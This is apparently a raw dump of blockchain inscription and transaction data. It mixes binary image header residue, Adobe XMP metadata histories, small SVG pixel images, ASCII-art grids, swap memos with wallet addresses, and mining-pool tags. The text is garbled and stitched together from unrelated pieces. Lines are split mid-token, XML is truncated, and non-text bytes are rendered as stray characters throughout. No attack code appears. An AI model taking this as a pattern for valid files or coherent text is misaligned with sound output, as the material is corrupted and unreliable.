&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
|http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:BB177419A8C011EDBFE1D830F15EB287" xmpMM:InstanceID="xmp.iid:BB177418A8C011EDBFE1D830F15EB287" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:e0d18448-e896-5e43-a0da-1b9382b0ded8" stRef:documentID="xmp.did:e0d18448-e896-5e43-a0da-1b9382b0ded8"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDD
&6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
c/Foundry USA Pool #dropgold/
HjF=:BNB.BUSD-BD1:bnb10gh0p6thzjz54jqy9lg0rv733fnl0vqmc789pp:889720807181
Aj?=:BNB.BNB:bnb10gh0p6thzjz54jqy9lg0rv733fnl0vqmc789pp:2207137811
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0057/4096 3,0,1,1,0 ~0.5825219165999442-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#767C89" width="100%" height="100%"/>
<polyline fill="#F2F652" points="0,8 4,2 4,2 0,0 "/>
<polyline fill="#52F6A8" points="8,0 7,4 7,4 8,8 "/>
<polyline fill="#36EEE0" points="8,8 3,1 4,4 0,8 "/>
<polyline fill="#36EEE0" points="0,0 5,2 5,4 8,0 "/>
FjDOUT:93F2E094878CA622FB34074D11E2023439C2A1B7400EEE7F32BDD3760904A134
@j>=:ETH.ETH:0x77e63FBfa403EF2878a4b8fDa76430FDB87c89e0:224846::0
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
|-...+..|+..-...-..-+..|..|-...++...-|..|..+-..-...-..+|..+...-|
-+........---.+.....|.--++............++--.|.....+.---........+-
..-+||......++-........--|............|--........-++......||+-..
..+..+-..-|..|..+..+-......+..+--+..+......-+..+..|..|-..-+..+..
..|.|.-.+.+..|.-.-.+.+........|..|........+.+.-.-.|..+.+.-.|.|..
+.|+....-..|..-..+.|+.|..-..-..++..-..-..|.+|.+..-..|..-....+|.+
...--....|+...||+...||.....-+......+-.....||...+||...+|....--...
................................................................
|...+-...+-...+-....|....-|...-||-...|-....|....-+...-+...-+...|
+..-..|.+|.+..-.+..-....+..|........|..+....-..+.-..+.|+.|..-..+
.-.|+.+.-.|....-.|..+.-.|.|..+.++.+..|.|.-.+..|.-....|.-.+.+|.-.
.-...|...+..|-...+..|-...+..|-....-|..+...-|..+...-|..+...|...-.
--+........|.|--+........|.|--+..+--|.|........+--|.|........+--
..+||......-||......-||......-||||-......||-......||-......||+..
.+-..-|.+-..-..+...-..+......|....|......+..-...+..-..-+.|-..-+.
....-.|.-.-.-.+.+....|.....-.|.--.|.-.....|....+.+.-.-.-.|.-....
-..+..+..+..+..+.|+.|+.|..|..|....|..|..|.+|.+|.+..+..+..+..+..-
....-+....|+....||+....--+....+..+....+--....+||....+|....+-....
................++++--+-||-|..||||..|-||-+--++++................
-..++|...-....-...+|...-....|......|....-...|+...-....-...|++..-
+|.-.+|.|.+|.-..|.-..-.-..-.+..--..+.-..-.-..-.|..-.|+.|.|+.-.|+
....+.|....-.|.|+.-.-..+.-....+..+....-.+..-.-.+|.|.-....|.+....
.-...|....-..|+...+...|...|+..-..-..+|...|...+...+|..-....|...-.
|--.............|----+....................+----|.............--|
.+-......+|......-|......-|..........|-......|-......|+......-+.
.+|..-..-..+|....+|..-..-..+|..--..|+..-..-..|+....|+..-..-..|+.
|.......|.|.....|.-.-.|.|.|.-.-..-.-.|.|.|.-.-.|.....|.|.......|
-..+..-..|..|..-..|...+..+.|+.|++|.+|.+..+...|..-..|..|..-..+..-
.....-+....|-......|+....|-+........+-|....+|......-|....+-.....
..........+---|||..............................|||---+..........
...+|...-...+|...+|..+-...-|..+||+..|-...-+..|+...|+...-...|+...
+..-.+..|.+..|.-..|.-....-.+..|..|..+.-....-.|..-.|..+.|..+.-..+
+..-.+..|.+..|.-..|.-....-.+..|..|..+.-....-.|..-.|..+.|..+.-..+
...+|...-...+|...+|..+-...-|..+||+..|-...-+..|+...|+...-...|+...
..........+---|||..............................|||---+..........
.....-+....|-......|+....|-+........+-|....+|......-|....+-.....
-..+..-..|..|..-..|...+..+.|+.|++|.+|.+..+...|..-..|..|..-..+..-
|.......|.|.....|.-.-.|.|.|.-.-..-.-.|.|.|.-.-.|.....|.|.......|
.+|..-..-..+|....+|..-..-..+|..--..|+..-..-..|+....|+..-..-..|+.
.+-......+|......-|......-|..........|-......|-......|+......-+.
|--.............|----+....................+----|.............--|
.-...|....-..|+...+...|...|+..-..-..+|...|...+...+|..-....|...-.
....+.|....-.|.|+.-.-..+.-....+..+....-.+..-.-.+|.|.-....|.+....
+|.-.+|.|.+|.-..|.-..-.-..-.+..--..+.-..-.-..-.|..-.|+.|.|+.-.|+
-..++|...-....-...+|...-....|......|....-...|+...-....-...|++..-
................++++--+-||-|..||||..|-||-+--++++................
....-+....|+....||+....--+....+..+....+--....+||....+|....+-....
-..+..+..+..+..+.|+.|+.|..|..|....|..|..|.+|.+|.+..+..+..+..+..-
....-.|.-.-.-.+.+....|.....-.|.--.|.-.....|....+.+.-.-.-.|.-....
.+-..-|.+-..-..+...-..+......|....|......+..-...+..-..-+.|-..-+.
..+||......-||......-||......-||||-......||-......||-......||+..
--+........|.|--+........|.|--+..+--|.|........+--|.|........+--
.-...|...+..|-...+..|-...+..|-....-|..+...-|..+...-|..+...|...-.
.-.|+.+.-.|....-.|..+.-.|.|..+.++.+..|.|.-.+..|.-....|.-.+.+|.-.
+..-..|.+|.+..-.+..-....+..|........|..+....-..+.-..+.|+.|..-..+
|...+-...+-...+-....|....-|...-||-...|-....|....-+...-+...-+...|
................................................................
...--....|+...||+...||.....-+......+-.....||...+||...+|....--...
+.|+....-..|..-..+.|+.|..-..-..++..-..-..|.+|.+..-..|..-....+|.+
..|.|.-.+.+..|.-.-.+.+........|..|........+.+.-.-.|..+.+.-.|.|..
..+..+-..-|..|..+..+-......+..+--+..+......-+..+..|..|-..-+..+..
..-+||......++-........--|............|--........-++......||+-..
-+........---.+.....|.--++............++--.|.....+.---........+-
|-...+..|+..-...-..-+..|..|-...++...-|..|..+-..-...-..+|..+...-|
text/plain;charset=utf-8
.--|/.-.//|.\-\|/--\//-.\/||.--|/--\//|.\-||.--|/.-.\/||\-\|/--\
-.../.||\\--|-..//\\.\--||////\\..||||//--.\..||\\-/--..//\|\\\-
-.|-.\.|/.|-|/\|/|/\|/\/\-/\-\-.\-.-.|-.|.|/.|/|/.|/-/\|/\.\-/\-
|.-\.-||\.-|/-\.-/|\/-./-\../|\/|./|\\.-|\-|./|-\.-|/-\.//-\.-\/
//....\\\\\|///....\\\\|||||--------/////....\\\\|||/.....\\\\||
..\-.|/\-.|.|/\-.\-.|//\-.|/\-.|/\-.|/\-.||/\-.\-.|/\/\-.|/\-.\\
-|.|\/-|\.-|/|\./-\.|./-|\.-.-|\./-\-\./-|\/\.-|\./|/-\./-|./\/-
.|||\\|--\||-/||-//---..-//.\//.\||.\||-\\---||-//|-//.--/..///\
/\/\\-\--.-..-..|.--.-..|..|.||/|//\/\\/\\-\--\/\\-\\-\--.-..|.|
/\..\..\..|..|\.||\||\-|\-|\--\--.--./-./-.//.//\./\\/\\.\\.\\.|
|-|-\|-|-|-/|-|-||/|-|-/|/|/||/|/|//|/|/|-/-/|//-/-/|-/-/-/.-/-/
.--||.||..//||..-/||..--\|..--\\..--\\/.--\\//|-\\//||\\//\//--\
\||//|/-..||/\\--..|//\\--//|//\.||/||--..||/\\--..|//\\-|/||//.
--/-//|/-|-|\-|--\-|\|\.|.||.|\.\./\//\/\././-.--/-./-/-|/||-|--
\.\\/\\|.\|.\|-\\-\||-||-\--/|-/|-/|--.-//-//.-..-/.\/.\/..|..\.
|.|..-.|..-.--\/\//|/|..|/||.-.--\-\//|/\\/|/||.|.--\-\\/\-\\/\/
///-../-|||---\\\.|\\.///...---|/---\\\|||\../\...---///-|\\-|||
-/|/.\-/.||/.\-/./.\-/.|--.\|/.\.\|/.\--/\|-.\|\|-.\|//\|-.\|/|-
-\/|.-\/-\/|.-\/|.-\/|.-\/|.-\/|/|.-\/|.-\/|.-\/|.-\/|.-|.-\/|.-
\\\\\..--|||||||\\\/----||--||||////--//----|...///////--\\.....
/.|/\||-.|-./\|/\-/-.\/.|\-/.-/\.|-\|-./\|.\-|-.|/.|\-/\-//.|/\|
/\/-\/.--\|./|-|./|-\./.-|.-/-|.\/-|-\/-\|\.-/|\/-/|\/.--\|.-|.|
--\.\//..---\\|./..-//\\|..\\-//||-..\\/..||-\\|\/..---\\||.\.--
.-//|\-..|/-\.|./|--..\/-\-|./\--.|\/-.-|.\\--/|\/\.-|/\\-./||-\
\|\-|-|-|\|\-|-|/-\||-|--/-\-|-|/-/-.-|--/-//.-|/-/-././-/-/-./.
/|-\|.\/.-/|-.\/.-/|\|.\/.-/|-\|/.-/|-\|.\/./|-\|.\-/|-\|.\/.-/|
|//.||./.||./|-|..|--..---..---\.---\\---\\--/\\/-/|\//\|\//\||/
|/\.|/-.|\/./|-|.\.-/-\|\/./|-|.\/-/|\|./.-|-\.\/-/|\|./\-|/\.|/
./-/-\.\.-|-|./.-|-|./\.-|-|././|\|\/-/-\.|\/-/-\|\/-/-\.\.-|-|\
-/\|---/|-|-/||--/\|---/|---/||--//|---/|---/.|--//|-/-/|---/.|-
-\-\-.|/|\/\/\-.-./|/|/\-\-|.|.|/\/\/-.-.|/|/|\-\-.|.|./|/\-.-.-
|\./-|\./-|\\./-|\||\./-||\./-|\./-|\.//-|\.//./-|\../-|\./-|\./
/.\|-/.\|-/..\|-/.//.\|-//.\|-/.\|-/.\||-/.\||\|-/.\\|-/.\|-/.\|
-.-.-\/|/.|.|.-\-\|/|/|.-.-/\/\/|.|.|-\-\/|/|/.-.-\/\/\|/|.-\-\-
-|./---|/-/-|//--|./---|/---|//--||/---|/---|\/--||/-|-|/---|\/-
\|-|-.\.\-/-/\|\-/-/\|.\-/-/\|\|/./.|-|-.\/.|-|-./.|-|-.\.\-/-/.
/|.\/|-\/.|\|/-/\.\-|-./.|\|/-/\.|-|/./\|\-/-.\.|-|/./\|.-/|.\/|
/||\//\|\//\|/-/\\/--\\---\\---.\---..---..--|..|-|/.||./.||.//|
|/-./\.|\-|/-\.|\-|/./\.|\-|/-./|\-|/-./\.|\|/-./\.-|/-./\.|\-|/
./.-/-/-/./.-/-/|-.//-/--|-.-/-/|-|-\-/--|-||\-/|-|-\|\|-|-|-\|\
\-||/.-\\/|-.\/\|/--\\.|-.-/\|.--\/.|-\-/\..--|/.|.\-/|..-\|//-.
--.\.||\\---../\|\\-||../\\..-||//-\\..|\\//-../.|\\---..//\.\--
|.|-.|\--./\|/-/\|/-.\|\-/\-|-/\.|-/-.|-./.\-|/.|-|/.|\--./\-/\/
|\/|.//-\/-\|./|.-|-\.|\/.-|\-|.\/-./-\|./\.-/-\/|\/.-|.-||\/|./
.....\\--///////...|----//--////||||--||----/\\\|||||||--..\\\\\
-.|/\-.|-.|/\-.|/\-.|/\-.|/\-.|/|/\-.|/\-.|/\-.|/\-.|/\-/\-.|/\-
-|/|\.-|\//|\.-|\|\.-|\/--\./|\.\./|\.--|./-\././-\./||./-\./|/-
|||-\\|-///---...\/..\|||\\\---/|---...///.\\|.\\\---|||-/..-///
/\/\\-\/\\-\--.|.||/|/\\/|//\-\--.-.||/|..|/|//\/\--.-..|.-..|.|
.\..|../\./\./-..-.//-//-.--|/-|/-|/--\-||-||\-\\-|\.|\.|\\/\\.\
--|-||/|-/-/.-/--.-/./.\/\//\/.\.\|.||.|.\|\|-\--|-\|-|-/|//-/--
.//||/|-\\//|..--\\/||..--||/||.\//|//--\\//|..--\\/||..-/|//||\
\--//\//\\||//\\-|//\\--./\\--..\\--..|\--..||/-..||//..||.||--.
/-/-./-/-/-|/-/-//|/-/-|/|/|//|/|/||/|/|/-|-|/||-|-|/-|-|-|\-|-|
|.\\.\\.\\/\\/.\//.//.-/.-/.--.--\--\|-\|-\||\||.\|..|..\..\..\/
|.|..-.--\-\\-\\/\--\-\\/\\/\//|/||.|..|..-.--.|..-..-.--\-\\/\/
\///../--.//-|//-||---\\-||\.||\.//\.//-..---//-||/-||\--|\\|||.
-/\/.|-/.\-/|/.\|-.\/\|-/.\-\-/.\|-.-.\|-/.|.\-/.\|/|-.\|-/\|.|-
\\.-\/|.-\/\/|.-\.-\/||.-\/|.-\/|.-\/|.-\//|.-\.-\/|.|.-\/|.-\..
||\\\\...../|||\\\\..../////--------|||||\\\\....///|\\\\\....//
/\-.\-//.\-/|-.\-|/.|-\|-.\\|/.|/\|/..\-/.-/\|/-.\-/|-.\||-.\-.|
-\/-\.\/|\/-/|./|/|./|.|.-|.-.-\.-\-\/-\/\/|\/|/|\/|-|./|.\.-|.-
-\\\|\//..--/-\\||..\.--//||||..\\////||--\.\\//..-|--\\||./...-
\--/|\-\||/\.-./|--.||-\.|//\--/|--.||/\.-//\--/|\-\.|//.-./|--.
IjGREFUND:39A302E0E146E6A15A95C6F2288F1BB08B1E94E5858C6A4803F6F3BD44AF65F2
FjDOUT:904E5D34250438D7194EA94A6680444C4B123CDF33498336BBF6E14586F9D1CE
FjDOUT:F6B6DFB513EB3657F2D13362B7B2D85170018A4B3B1CBD4D2A5905EFDC5881B8
FjDOUT:60DF838AFF21DA4A598C36524A1836D98D0DD87A127D69B275EF9D4FDFDB3E09
	!http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>                                                                      M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                   <?xpacket end="w"?>
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
$$,,,,,,,,555555=====EEEEEEEEEE
H1(1HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
<svg viewBox="0 -0.5 24 24" shape-rendering="crispEdges" xmlns="http://www.w3.org/2000/svg">
    Ordinum bar #010
  <path d="M0 0h24M0 1h1m22 0h1M0 2h1m22 0h1M0 3h1m2 0h1m7 0h3m2 0h1m2 0h3m1 0h1M0 4h1m1 0h2m7 0h1m3 0h1m1 0h1m2 0h1m2 0h1M0 5h1m2 0h1m9 0h1m1 0h3m2 0h1m2 0h1M0 6h1m2 0h1m7 0h3m1 0h1m1 0h1m2 0h1m2 0h1M0 7h1m22 0h1M0 8h1m22 0h1M0 9h1m22 0h1M0 10h1m13 0h3m6 0h1M0 11h1m11 0h2m2 0h2m5 0h1M0 12h1m9 0h3m2 0h2m2 0h1m3 0h1M0 13h1m7 0h7m5 0h1m2 0h1M0 14h1m5 0h7m7 0h1m2 0h1M0 15h1m3 0h1M
m1 0h5m8 0h1m3 0h1M0 16h1m3 0h2m1 0h2m8 0h1m5 0h1M0 17h1m3 0h3m8 0h1m7 0h1M0 18h1m4 0h2m6 0h1m9 0h1M0 19h1m5 0h1m4 0h1m11 0h1M0 20h1m6 0h1m1 0h1m13 0h1M0 21h1m7 0h1m14 0h1M0 22h1m22 0h1M0 23h24" stroke="#f7931a"></path>
  <path d="M1 1h22M1 2h22M1 3h2m1 0h1m2 0h1m2 0h1m3 0h2m1 0h2m3 0h1M1 4h1m2 0h1m1 0h1m1 0h1m1 0h1m2 0h2m1 0h1m1 0h2m1 0h2M1 5h2m1 0h1m1 0h1m1 0h1m1 0h2m2 0h1m3 0h2m1 0h2M1 6h2m1 0h1m1 0h3m1 0h1m3 0h1m1 0h1m1 0h2m1 0h2M1 7h22M1 8h13m3 0h6M1 9h11m6 0h5M1 10h9m9 0h4M1 11h7m12 0h3M1 12h5m15 0h2M1 13h4m1M
6 0h2M1 14h3m17 0h2M1 15h3m16 0h3M1 16h2m15 0h5M1 17h2m13 0h7M1 18h3m10 0h5m3 0h1M1 19h4m7 0h7m3 0h1M1 20h5m4 0h9m3 0h1M1 21h6m2 0h10m3 0h1M1 22h22" stroke="#000"></path>
  <path d="M5 3h2m1 0h2M5 4h1m1 0h1m1 0h1M5 5h1m1 0h1m1 0h1M5 6h1m3 0h1" stroke="#fff"></path>
  <path d="M12 4h1m-1 1h1m6 13h3m-3 1h3m-3 1h3m-3 1h1m1 0h1" stroke="#0800af"></path>
  <path d="M14 8h1m1 0h1m-5 1h1m4 0h1m-8 1h1m7 0h1M8 11h1m-3 1h1m13 0h1M5 13h1m-2 1h1m-2 2h1m-1 1h1m1 2h1m1 2h1" stroke="#d77600"></path>
  <path d="M15 8h1m-3 1h1m-3 1MO
h1m-3 1h1m9 0h1M7 12h1m9 1h3m-5 1h5m-7 1h6m-8 1h6m-8 1h6M4 18h1m3 0h5m-5 1h3m-5 1h1m1 0h1" stroke="#c86e02"></path>
  <path d="M14 9h3m-5 1h2m3 0h1m-8 1h2m2 0h2m2 0h1M8 12h2m3 0h2m2 0h2M6 13h2m7 0h2M5 14h1m7 0h2M5 15h1m5 0h2m-7 1h1m2 0h2m-4 1h2m-2 1h1m-1 1h1" stroke="#fc6"></path>
  <path d="M20 21h1" stroke="#5850ff"></path>
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
.IEC 61966-2-1 Default RGB Colour Space - sRGB
-Reference Viewing Condition in IEC 61966-2-1
Copyright International Color Consortium, 2015
" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
            xmlns:xmpMM="http://ns.adobM
            xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
            xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
            xmlns:dc="http://purl.org/dc/elements/1.1/"
            xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
            xmlns:xmp="http://ns.adobe.com/xap/1.0/"
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <xmpMM:DocumentID>adobe:docid:photoshop:5b3f3def-ab4b-11ed-M
a616-fe33a7197b7f</xmpMM:DocumentID>
         <xmpMM:InstanceID>xmp.iid:a559d3bb-3c89-9446-b9ad-ff05ff4eac84</xmpMM:InstanceID>
         <xmpMM:OriginalDocumentID>DB49D0439357658641337A71F3BC6F0A</xmpMM:OriginalDocumentID>
         <xmpMM:History>
            <rdf:Seq>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:f65e8e8d-8b7e-9e4e-a57d-5f8285b8b9b1</stEvt:instanceID>
                  <stEvt:when>2023-02-13T02:03:1M
6+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>converted</stEvt:action>
                  <stEvt:parameters>from image/jpeg to image/png</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>derived</stEvt:action>
         <stEvt:parameters>converted from image/jpeg to image/png</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:9c7579d8-bada-be4c-9e41-fb0d6fc17452</stEvt:instanceID>
                  <stEvt:when>2023-02-13T02:03:16+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:chM
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:80602eee-3e3b-da41-9973-0fe676b25a32</stEvt:instanceID>
                  <stEvt:when>2023-02-13T02:14:29+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="ResourceM
                  <stEvt:action>converted</stEvt:action>
                  <stEvt:parameters>from image/png to application/vnd.adobe.photoshop</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>derived</stEvt:action>
                  <stEvt:parameters>converted from image/png to application/vnd.adobe.photoshop</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>savedM
                  <stEvt:instanceID>xmp.iid:e60d0d80-c111-e748-a84e-c9db7d43d079</stEvt:instanceID>
                  <stEvt:when>2023-02-13T02:14:29+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:0e56663e-66f7-174eM
-a159-6aff63b1829f</stEvt:instanceID>
                  <stEvt:when>2023-02-13T11:06:20+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>converted</stEvt:action>
                  <stEvt:parameters>from application/vnd.adobe.photoshop to image/png</stEvt:parameters>
               </rdf:li>
         <rdf:li rdf:parseType="Resource">
                  <stEvt:action>derived</stEvt:action>
                  <stEvt:parameters>converted from application/vnd.adobe.photoshop to image/png</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:a559d3bb-3c89-9446-b9ad-ff05ff4eac84</stEvt:instanceID>
                  <stEvt:when>2023-02-13T11:06:20+08:00</stEvt:when>
       <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
            </rdf:Seq>
         </xmpMM:History>
         <xmpMM:DerivedFrom rdf:parseType="Resource">
            <stRef:instanceID>xmp.iid:0e56663e-66f7-174e-a159-6aff63b1829f</stRef:instanceID>
            <stRef:documentID>adobe:docid:photoshop:9f9f6bf8-ab00-11ed-bc9c-fe399e645a46</stRef:documentID>
            <stRef:originalDocumentID>DB49D043935765864M
1337A71F3BC6F0A</stRef:originalDocumentID>
         </xmpMM:DerivedFrom>
         <dc:format>image/png</dc:format>
         <photoshop:ColorMode>3</photoshop:ColorMode>
         <xmp:CreateDate>2023-02-12T23:06:35+08:00</xmp:CreateDate>
         <xmp:ModifyDate>2023-02-13T11:06:20+08:00</xmp:ModifyDate>
         <xmp:MetadataDate>2023-02-13T11:06:20+08:00</xmp:MetadataDate>
         <xmp:CreatorTool>Adobe Photoshop CC 2015 (Windows)</xmp:CreatorTool>
         <tiff:ImageWidth>3000</tiff:ImageWidth>
mageLength>3000</tiff:ImageLength>
         <tiff:BitsPerSample>
            <rdf:Seq>
               <rdf:li>8</rdf:li>
               <rdf:li>8</rdf:li>
               <rdf:li>8</rdf:li>
            </rdf:Seq>
         </tiff:BitsPerSample>
         <tiff:PhotometricInterpretation>2</tiff:PhotometricInterpretation>
         <tiff:Orientation>1</tiff:Orientation>
         <tiff:SamplesPerPixel>3</tiff:SamplesPerPixel>
         <tiff:XResolution>720000/10000</tiff:XResolution>
         <tiff:YResolution>720000/1000M
0</tiff:YResolution>
         <tiff:ResolutionUnit>2</tiff:ResolutionUnit>
         <exif:ExifVersion>0231</exif:ExifVersion>
         <exif:ColorSpace>65535</exif:ColorSpace>
         <exif:PixelXDimension>1024</exif:PixelXDimension>
         <exif:PixelYDimension>1024</exif:PixelYDimension>
      </rdf:Description>

                                                                         M





                                                                                        M















                                M





                                               M





                                                              M





                                                                             M





                                                                                            M










                     M





                                    M





                                                   M





                                                                  M





                                                                                 M




                                                                                                M










                         M





                                        M





                                                       M





                                                                      M





                                                                                     M




                                                                                                    M





" id="W5M0MpCehiHzreSzNTczkc9d"?>
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42        ">
   <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">
      <rdf:Description rdf:about=""
     xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/"
            xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#"
            xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#"
            xmlns:dc="http://purl.org/dc/elements/1.1/"
            xmlns:photoshop="http://ns.adobe.com/photoshop/1.0/"
            xmlns:xmp="http://ns.adobe.com/xap/1.0/"
            xmlns:tiff="http://ns.adobe.com/tiff/1.0/"
            xmlns:exif="http://ns.adobe.com/exif/1.0/">
         <xmpMM:DocumentID>adobe:docM
id:photoshop:1b709217-ab4c-11ed-a616-fe33a7197b7f</xmpMM:DocumentID>
         <xmpMM:InstanceID>xmp.iid:aa81f33e-0d19-914c-9985-3eb3e71ae4d8</xmpMM:InstanceID>
         <xmpMM:OriginalDocumentID>DB49D0439357658641337A71F3BC6F0A</xmpMM:OriginalDocumentID>
         <xmpMM:History>
            <rdf:Seq>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:f65e8e8d-8b7e-9e4e-a57d-5f8285b8b9b1</stEvt:instanceID>
  <stEvt:when>2023-02-13T02:03:16+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>converted</stEvt:action>
                  <stEvt:parameters>from image/jpeg to image/png</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>M
derived</stEvt:action>
                  <stEvt:parameters>converted from image/jpeg to image/png</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:9c7579d8-bada-be4c-9e41-fb0d6fc17452</stEvt:instanceID>
                  <stEvt:when>2023-02-13T02:03:16+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
      <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:80602eee-3e3b-da41-9973-0fe676b25a32</stEvt:instanceID>
                  <stEvt:when>2023-02-13T02:14:29+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
 <rdf:li rdf:parseType="Resource">
                  <stEvt:action>converted</stEvt:action>
                  <stEvt:parameters>from image/png to application/vnd.adobe.photoshop</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>derived</stEvt:action>
                  <stEvt:parameters>converted from image/png to application/vnd.adobe.photoshop</stEvt:parameters>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
             <stEvt:action>saved</stEvt:action>
                  <stEvt:instanceID>xmp.iid:e60d0d80-c111-e748-a84e-c9db7d43d079</stEvt:instanceID>
                  <stEvt:when>2023-02-13T02:14:29+08:00</stEvt:when>
                  <stEvt:softwareAgent>Adobe Photoshop CC 2015 (Windows)</stEvt:softwareAgent>
                  <stEvt:changed>/</stEvt:changed>
               </rdf:li>
               <rdf:li rdf:parseType="Resource">
                  <stEvt:action>saved</stEvt:action>
                  <stEvt:instaM
nceID>xmp.iid:6dd3b17a-0def-1e42-ae2b-3af2e16cfc76</stEvt:instanceID>
